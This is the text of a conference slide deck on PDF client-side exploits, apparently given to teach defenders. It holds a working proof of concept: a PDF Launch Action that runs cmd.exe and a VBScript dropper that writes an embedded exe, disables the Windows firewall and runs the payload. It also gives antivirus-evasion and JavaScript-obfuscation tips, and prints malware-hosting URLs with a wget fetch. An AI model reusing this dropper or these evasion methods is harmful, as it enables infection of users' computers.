Client Side Exploits using PDF

BY,
ANKUR BHARGAVA
(INFOSYS TECHNOLOGIES LIMITED)
TAMAGHNA BASU
(SECURITY RESEARCHER)
Client Side Exploits using PDF
C0C0N Security & Hacking
Conference

Contents
About
PDF
Launch
Action
Exploits
AcroJs
Exploits
Road
Ahead
Tools
and
References

About PDF
• What isPDF?
• Incidentsin thewild
• Why pdf attcks?
• PDF document structure

Potentially Dangerous File / Penetration
Document Format
Stands for Adobe Portable Document Format
Exchange and manipulation of electronic data
reliable and platform independent
Has become most widespread and used document
description format throughout the world

Adobe PDF – As a programming language
PDF document is more than a powerful document
format
Has a complete programming language of its own
Dedicated to document creation and manipulation
Relatively strong execution features

2010: Still Continuing…
March
April
May
June

Incidents in the wild
 Jun 14 CVE-2010-1297 PDF Adobe 0-Day WEO from sacchetti.dana@gmail.com
 Jun 20 CVE-2010-1297 PDF Meeting agenda from alexis.mo88@gmail.com
 Jun 21 CVE-2010-1297 PDF About the recent US-Japan Economic Relations
 Jun 21 CVE-2010-1297 PDF Adobe 0-Day About the recent US-Japan Economic
Relations - with Poison Ivy
 Jun 27 CVE-2009-0927 PDF Discussion on cross-strait maritime cooperation
 Jul 6 CVE-2010-1297 PDF EPA's Water Sampling Report from spoofed
OCSPP@epa.go
 Jul 14 CVE-2009-4324 PDF President Obama's Detrimental Deadlines

The Reign of Zeus:
 Zeus (also known as Zbot, PRG, Wsnpoem, Gorhax
and Kneber) is a Trojan horse that steals banking
information by keystroke logging.
 Found in July 2007 when it was used to steal
information from the United States Department of
Transportation. It became more widespread in
March 2009.
 In June 2009, security company Prevx discovered
that Zeus had compromised over 74,000 FTP
accounts on websites of companies like: Bank of
America, NASA, Monster, ABC, Oracle, Cisco,
Amazon, BusinessWeek
 ZeuS is sold in the criminal underground as a kit
for around $3000-$4000, and is likely the one
malware most utilized by criminals specializing in
financial fraud. ZeuS has evolved over time and
includes a full arsenal of information stealing .

The Reign of Zeus
A recent
breakthrough in
spreading Zeus via
PDF files threatens to
further the spread of
Zeus. The pdf file
(detected as
Exploit.JS.Pdfka.bui)
contained an exploit
for the CVE-2010-
0188 vulnerability -
buffer overflow –
manifests itself when
the field containing
the image is
accessed.
CVE-2010-0188 exploits statistics 2010

Popular in malwaredomainlist.com

Apple iPhone / iPad / iPod Code Execution
and Sandbox Bypass
VUPEN ID - VUPEN/ADV-2010-1992
Release date - 2010-08-03
It is caused by a memory corruption
error when processing Compact Font
Format (CFF) data within a PDF
document, which could be exploited by
attackers to execute arbitrary code by
tricking a user into visiting a specially
crafted web page using Mobile Safari

Why PDF
Popularity and usability
Flexibility, platform
independent, rich text
Trust level is high on pdf –
static piece of information
Rich api, easy to exploit /
misuse
Dominance of Adobe reader,
huge scope for attack

PDF document structure
The general
structure of a PDF
file is composed of
the following code
components:
header, body, cross-
reference (xref)
table, and trailer, as
shown in figure 1.

PDF Document Structure
PDF Header
Objects
Trailer
Body
Cross reference
Table

Launch Action
• Launch Action Api
• SomeExamples
• Evading Antivirus
• With embedded EXE

Launch Action Vulnerability
A launch action launches an application or opens or prints a document.
Following are the action dictionary entries specific to this type of action.
 ENTRIES
 S :Name
Required) The type of action that this dictionary describes; shall be Launch for
a launch action.
 F: File specification
(Required if none of the entries Win, Mac, or Unix is present) The application
that shall be launched or the document that shall be opened or printed. If this
entry is absent and the conforming reader does not understand any of the
alternative entries, it shall do nothing.
 Win : dictionary
(Optional) A dictionary containing Windows-specific launch parameters.

 PARAMETERS
 F : byte string
(Required) The file name of the application that shall be launched or
the document that shall be opened or printed, in standard Windows
pathname format. If the name string includes a backslash character
(), the backslash shall itself be preceded by a backslash. This value
shall be a simple string; it is not a file specification.
 P : byte string
(Optional) A parameter string that shall be passed to the application
designated by the F entry. This entry shall be omitted if F
designates a document.

Open command prompt Open website

Open notepad.exe

Changing the message

Confidential Data!! If You are Authorized Click on
'Open'. Check 'Do Not Show This Message Again' to
avoid this dialog next time

Evading Antivirus by Changing the format
You can take any other
PDF data type and give
it a number by
wrapping it in "obj" and
"endobj". Then later on,
when you want to use
that chunk of data, you
can reference it, by
number, with the "R"
operator.
These two examples are
equivalent to Acrobat
2 0 obj
(Hello World)
Endobj
3 0 obj
<<
/Example 2 0 R
>>
Endobj
3 0 obj
<<
/Example (Hello
World)
>>
endobj

Evading Antivirus
 What You Can Leave Out
 All Page data
 All Whitespace, except for End-Of-Line after comments
 The version number part of %PDF-1.1
 The %%EOF
 The xref table
 And thus also startxref
 Most Object /Types
 So what's actually required?
 %PDF-anything, but if the file is too confusing for Acrobat, you need at least
the first number. Like %PDF-1.
 A trailer with a /Root dictionary for the Catalog
 A /Pages dictionary, but this can be empty, just as long as it's a dictionary
type.
 An /OpenAction if you want to launch your Javascript upon file open.
 The Javascript Action.

Evading Antivirus
%PDF-1.
trailer<</Root<</Pages<<>>/
OpenAction<</S/Launch/Wi
n<</F(cmd.exe)/P<0A0A0A0
A0A0A0A0A4E6F74653A205
468697320697320612073656
3757265205044462E20546F2
076696577207468652073656
37572656420636F6E74656E7
420706C6561736520636C696
36B2074686520224F70656E
2220627574746F6E2062656C
6F772E>>>>>>>>>

POC: Launching an Embedded exe
Step 1 : Embed the hex content of the exe in a
vbscript which extracts it out to the file system and
runs it.
Step 2 : Embed that vbscript in the pdf file as
comments.
Step 3 : Launch cmd.exe and create another script
which extracts out the main vbscript from the pdf
and run them both.

Step 1 : Embed the hex content of the exe in a
vbscript
Dim b,bl
Function c(d)
c=chr(d)
End Function
b=Array(c(77),c(90),c(144),c(0),c(3),c(0), c(0)....,"")
bl = 3072
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(“helpme.exe", 2, True)
For i = 0 To bl
f.write(b(i))
Next
f.close()
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "netsh firewall set opmode disable", 0, True
WshShell.Run "helpme.exe", 0, False
WshShell.Run "taskkill /IM cmd.exe /F", 0, False
Hex content of
the exe as a
character array

Step 2 : Embed the vbscript in the pdf file as
comments
%'SS
%Dim b,bl;Set WshShell = Function c(d);c=chr(d);End
Function;b=Array(c(77),c(90),c(144),c(0),.....,"");bl = 3072;Set fso =
CreateObject("Scripting.FileSystemObject");Set f =
fso.OpenTextFile("helpme.exe", 2, True);For i = 0 To
bl;f.write(b(i));Next;f.close(); Set WshShell =
WScript.CreateObject("WScript.Shell") ;WshShell.Run "netsh
firewall set opmode disable", 0, True;WshShell.Run "helpme.exe",
0, False;WshShell.Run "taskkill /IM cmd.exe /F", 0, False
%'EE
6 0 obj
[/PDF /Text]
endobj

Step 3 : Launch cmd.exe and create another
script
/c echo Set
fso=CreateObject("Scripting.FileSystemObject") >
execute.vbs && echo Set
f=fso.OpenTextFile("EmbeddedExePoC.pdf", 1, True) >>
execute.vbs && echo pf=f.ReadAll >> execute.vbs &&
echo s=InStr(pf,"'SS") >> execute.vbs && echo
e=InStr(pf,"'EE") >> execute.vbs && echo s=Mid(pf,s,e-
s) >> execute.vbs && echo Set
z=fso.OpenTextFile("toexecute.vbs", 2, True) >>
execute.vbs && echo s = Replace(s,"%","") >>
execute.vbs && echo s = Replace(s,";",vbcrlf) >>
execute.vbs && echo z.Write(s) >> execute.vbs &&
execute.vbs && toexecute.vbs

Generated VBScript
Set fso=CreateObject("Scripting.FileSystemObject")
Set f=fso.OpenTextFile("EmbeddedExePoC.pdf", 1, True)
pf=f.ReadAll
s=InStr(pf,"'SS")
e=InStr(pf,"'EE")
s=Mid(pf,s,e-s)
Set z=fso.OpenTextFile("toexecute.vbs", 2, True)
s = Replace(s,"%","")
s = Replace(s,";",vbcrlf)
z.Write(s)

AcroJS
• AcroJsApi
• VulnerableApi’s
• Obfuscation Techniques
• CaseStudy

AcroJS
• Acrobat JavaScript is the cross-platform scripting
language of the Adobe® Acrobat® family of products.
• Through JavaScript extensions, the viewer application
and its plug-ins expose much of their functionality to
document authors, form designers, and plug-in
developers.
• This functionality includes the following features,
– Processing forms within the document
– Batch processing collections of PDF documents
– Developing and maintaining online collaboration schemes
– Communicating with local databases
– Controlling multimedia events

JavaScript Actions
• A JavaScript action causes a script to be compiled and executed by the
JavaScript interpreter.
• Depending on the nature of the script, various interactive form fields in the
document may update their values or change their visual ap-pearances.
PARAMETERS
/S
Type - name
(Required) The type of action that this dictionary describes; must be
JavaScript for a JavaScript action.
/JS
Type - text string or text stream
(Required) A text string or text stream containing the JavaScript script to be
exe-cuted.

launchURLAlertbox
Acrojs examples

Vulnerable APIs
• getIcons() [CVE-2009-0927]
– Stack-based buffer overflow in Adobe Reader and Adobe Acrobat 9
before 9.1, 8 before 8.1.3 , and 7 before 7.1.1 allows remote attackers to
execute arbitrary code via a crafted argument to the getIcon method of a
Collab object, a different vulnerability than CVE-2009-0658.
• Util.printf() [CVE-2008-2992][CVE-2008-1104]
– Stack-based buffer overflow in Adobe Acrobat and Reader 8.1.2 and
earlier allows remote attackers to execute arbitrary code via a PDF file
that calls the util.printf JavaScript function with a crafted format string
argument, a related issue to CVE-2008-1104.
– Stack-based buffer overflow in Foxit Reader before 2.3 build 2912 allows
user-assisted remote attackers to execute arbitrary code via a crafted
PDF file, related to the util.printf JavaScript function and floating point
specifiers in format strings.

Vulnerable APIs
• getAnnots() [CVE-2009-1492]
– The getAnnots Doc method in the JavaScript API in Adobe Reader
and Acrobat 9.1, 8.1.4, 7.1.1, and earlier allows remote attackers to
cause a denial of service (memory corruption) or execute arbitrary
code via a PDF file that contains an annotation, and has an
OpenAction entry with JavaScript code that calls this method with
crafted integer arguments.
• customDictionaryOpen() [CVE-2009-1493]
– The customDictionaryOpen spell method in the JavaScript API in
Adobe Reader 9.1, 8.1.4, 7.1.1, and earlier on Linux and UNIX
allows remote attackers to cause a denial of service (memory
corruption) or execute arbitrary code via a PDF file that triggers a
call to this method with a long string in the second argument.

Vulnerable APIs
• Doc.media.newPlayer [CVE-2009-4324]
– Use-after-free vulnerability in the Doc.media.newPlayer method in
Multimedia.api in Adobe Reader and Acrobat 9.x before 9.3, and 8.x
before 8.2 on Windows and Mac OS X, allows remote attackers to
execute arbitrary code via a crafted PDF file using ZLib compressed
streams, as exploited in the wild in December 2009.
• Collab.collectEmailInfo [CVE-2007-5659]
– Multiple buffer overflows in Adobe Reader and Acrobat 8.1.1 and
earlier allow remote attackers to execute arbitrary code via a PDF file
with long arguments to unspecified JavaScript methods. NOTE: this
issue might be subsumed by CVE-2008-0655.

Obfuscation Techniques
Why?
 To make analysis more difficult
 To avoid detection by virus scanners
Ways?
 Using javascript Obfuscation
 Using Pdf Obfuscations(Filters)

Javascript Obfuscations : Unlearn Coding
Ethics

Distorting format
Normal Code Obfuscated Code
function execute(data, time)
{
Timelag=5000;
if (time > Timelag)
{
// some code
}
}
function overflow(hex, loop)
{
for (i=0;i<loop;i++)
{
hex = hex + hex;
}
}
function overflow(hex, loop){for
(i=0;i<loop;i++){hex = hex + hex;}}
function overflow(hex, loop) {for
i=0;i<loop;i++){hex = hex + hex;}}

Obfuscating Identifiers
Normal Code Obfuscated Code
function execute(data, time)
{
Timelag=5000;
if (time > Timelag)
{
// some code
}
}
function overflow(hex, loop)
{
for (i=0;i<loop;i++)
{
hex = hex + hex;
}
}
function aeiou(lIlIIlI, O0OOOO0OO000OO)
{
WWMWMMWMWMWMW=5000;
if (O0OOOO0OO000OO >
WWMWMWMWMWMW)
{
// some code
}
}
function aimpq(xxwmnnx, pqrtxw)
{
for (dqweaa=0; dqweaa < pqrtxw; dqweaa ++)
{
xxwmnnx = xxwmnnx + xxwmnnx;;
}
}

Obfuscating Identifiers – Even Worse
Differentiating with number of underscore characters
function _____(____,__________)
{
______________=5000;
if (__________>______________)
{
// some code
}
}
function ___(_______, ______)
{
for(________________=0; ________________<______;
________________ ++)
{
_______ = _______ + _______;
}
}

Obfuscating Identifiers – Even Worse
Differentiating with number of underscore characters
function _____(____,__________){______________=5000;if
(__________>______________){// some code}}function ___(_______,
______){for(________________=0; ________________<______;
________________ ++){_______ = _______ + _______;}}

Chain of Eval
Normal Code Obfuscated code
app.alert(“c0c0n”) func="eval";
one='app.alert("c0c0n")';
two=eval(one);
three=eval(two);
eval(func(three));

Splitting Javascript
Normal code Obfuscated Code
app.alert(“hello world”); Rt=“);”;
Td=“ert(”hel”;
Ab=“ap”;
Qw=“ld””;
Kg=“p.al”;
Gh=“lo wor”;
Eval(“hh=Ab+Kg+Td+Gh+Qw+Rt”);
Eval(hh);

Callee Trick
Function accesses its own source and uses it as a key to decrypt code
or data
function decrypt(cypher)
{
var key = arguments.callee.toString();
for (var i = 0; i < cypher.length; i++)
{
plain = key.charCodeAt(i) ^ cypher.charCodeAt(i);
}
...
}

Pdf obfuscations
Using Filters for streams.
Most common encoding techniques -
 ASCIIHEXDecode,
 ASCII85Decode,
 LZWDecode,
 FlateDecode,
 RunLengthDecode

Case Study
Malware found from - www.malwaredomainlist.com
File link www.bigiqwars.ru/ppp/exp/pdf.php?
user=admin&pdf_acces=on
Added on – 29th
july 2010

Virus total Reports 5/42(11.90%)

STEP-1
WGET www.bigiqwars.ru/ppp/exp/pdf.php?
user=admin&pdf_acces=on

STEP-2
Behavioral Analysis
Environment
• By using vm image
• Filemon,Processmon,Regmon,TCPView
Results
• Under Process ‘AcroRD32.exe’ Was trying to connect
to remote site http://bigiqwars.ru/ppp/exe.php?
spl=PDF (newPlayer)&user=admin&exe_acces=on

Formatted using jsbeautifier.org

Replacing with meaningful identifiers and
removing unnecessary comments

Replacing ‘X’ from parameter

Client Side Exploits using PDF

Shellcode Analysis
Connecting to…
http://bigiqwars.ru/ppp/exe.php?spl=PDF (newPlayer)&user=admin&exe_acces=on

Road Ahead
• Mitigations
• Adobe’ssecurity Measures
• FutureExploit methods

How can we protect ourselves
• Enable automatic updates: it sounds simple, but you will need to turn it on
in the software settings to make it happen by default.
• Disable PDF browser integration: most browsers will open PDFs without
asking. An infected PDF will deliver its payload without warning, hiding in
the background.
• Always install the latest patch/update, even for older Adobe product
versions.
• Disable Javascript
• Uncheck ‘Allow non-PDF gile attachments with external applications’ to
prevent launch action vulnerability.
• PDF alternatives such as Foxit are worthwhile, as long as auto updates are
turned on, however alternative programs are just as vulnerable to malware
as they gain popularity.

Road Ahead
Focus Less on javascript exploits
Attackers focusing more on embedded objects inside
pdf i.e flash
Adobe to introduce sandboxing to limit Reader
exploits

Tools used
Malzilla
Mozilla addon
javascript deobfescator by Wladimir Palant
Vmware Player
Sysinternal tools
Processmon,filemon,regmon,tcpview
WinHex
HexEdit

References
 www.malwaredomainlist.com
 www.adobe.com/
 www.bigiqwars.ru/ppp/exp/pdf.php?user=admin&pdf_acces=on
 www.blog.didierstevens.com
 www.jsbeautifier.org
 http://research.globalthoughtz.com
 http://www.zdnet.com/
 http://www.scansafe.com/
 http://www.computerworld.com/s/article/9176117/
 http://www.darkreading.com/
 http://www.virustotal.com/
 http://recon.cx/
 http://www.blog.zynamics.com

References continued..
 http://www.marketwire.com/
 http://www.symantec.com/
 http://www.securelist.com/en/analysis
 http://contagiodump.blogspot.com/
 http://www.f-secure.com/
 http://www.securelist.com/
 http://www.secureworks.com/
 http://en.wikipedia.org/
 http://www.malwaredomainlist.com/
 http://blogs.adobe.com/
 http://blog.fireeye.com/
 http://intrepidusgroup.com/
 http://www.vupen.com

Thank you
Tamaghna Basu
tamaghna.basu@gmail.com
twitter.comtitanlambda
tamahawk-techguru.blogspot.com
Ankur Bhargava
ankurbhargava87@gmail.com

Client Side Exploits using PDF

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Editor's Notes